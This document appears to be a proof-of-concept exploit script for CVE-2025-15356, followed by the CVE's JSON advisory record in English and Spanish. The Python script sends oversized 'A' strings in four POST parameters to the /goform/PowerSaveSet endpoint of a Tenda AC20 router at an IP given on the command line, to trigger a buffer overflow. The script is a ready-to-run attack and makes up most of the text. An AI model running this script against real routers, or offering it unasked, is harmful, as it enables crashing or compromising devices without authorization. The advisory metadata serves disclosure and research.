CVE-2025-15356

# CVE-2025-15356 PoC - Tenda AC20 Buffer Overflow in /goform/PowerSaveSet import requests import sys def exploit_tenda_ac20(target_ip, target_port=80): """ Exploit for CVE-2025-15356: Buffer overflow in Tenda AC20 /goform/PowerSaveSet Target: Tenda AC20 router with firmware <= 16.03.08.12 """ url = f"http://{target_ip}:{target_port}/goform/PowerSaveSet" # Buffer overflow payload - long string to overflow the buffer # Adjust the length based on target firmware overflow_length = 1000 overflow_payload = "A" * overflow_length # Construct malicious parameters data = { "powerSavingEn": overflow_payload, "time": overflow_payload, "powerSaveDelay": overflow_payload, "ledCloseType": overflow_payload } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {overflow_length} bytes per parameter") response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] Response length: {len(response.text)} bytes") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15356.py <target_ip> [port]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_tenda_ac20(target_ip, target_port)

{"cve": {"id": "CVE-2025-15356", "sourceIdentifier": "[email protected]", "published": "2025-12-30T21:15:43.477", "lastModified": "2025-12-31T22:09:38.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Tenda AC20 up to 16.03.08.12. The impacted element is the function sscanf of the file /goform/PowerSaveSet. The manipulation of the argument powerSavingEn/time/powerSaveDelay/ledCloseType leads to buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used."}, {"lang": "es", "value": "Una vulnerabilidad ha sido encontrada en Tenda AC20 hasta 16.03.08.12. El elemento afectado es la función sscanf del archivo /goform/PowerSaveSet. La manipulación del argumento powerSavingEn/time/powerSaveDelay/ledCloseType conduce a desbordamiento de búfer. El ataque puede ser iniciado remotamente. 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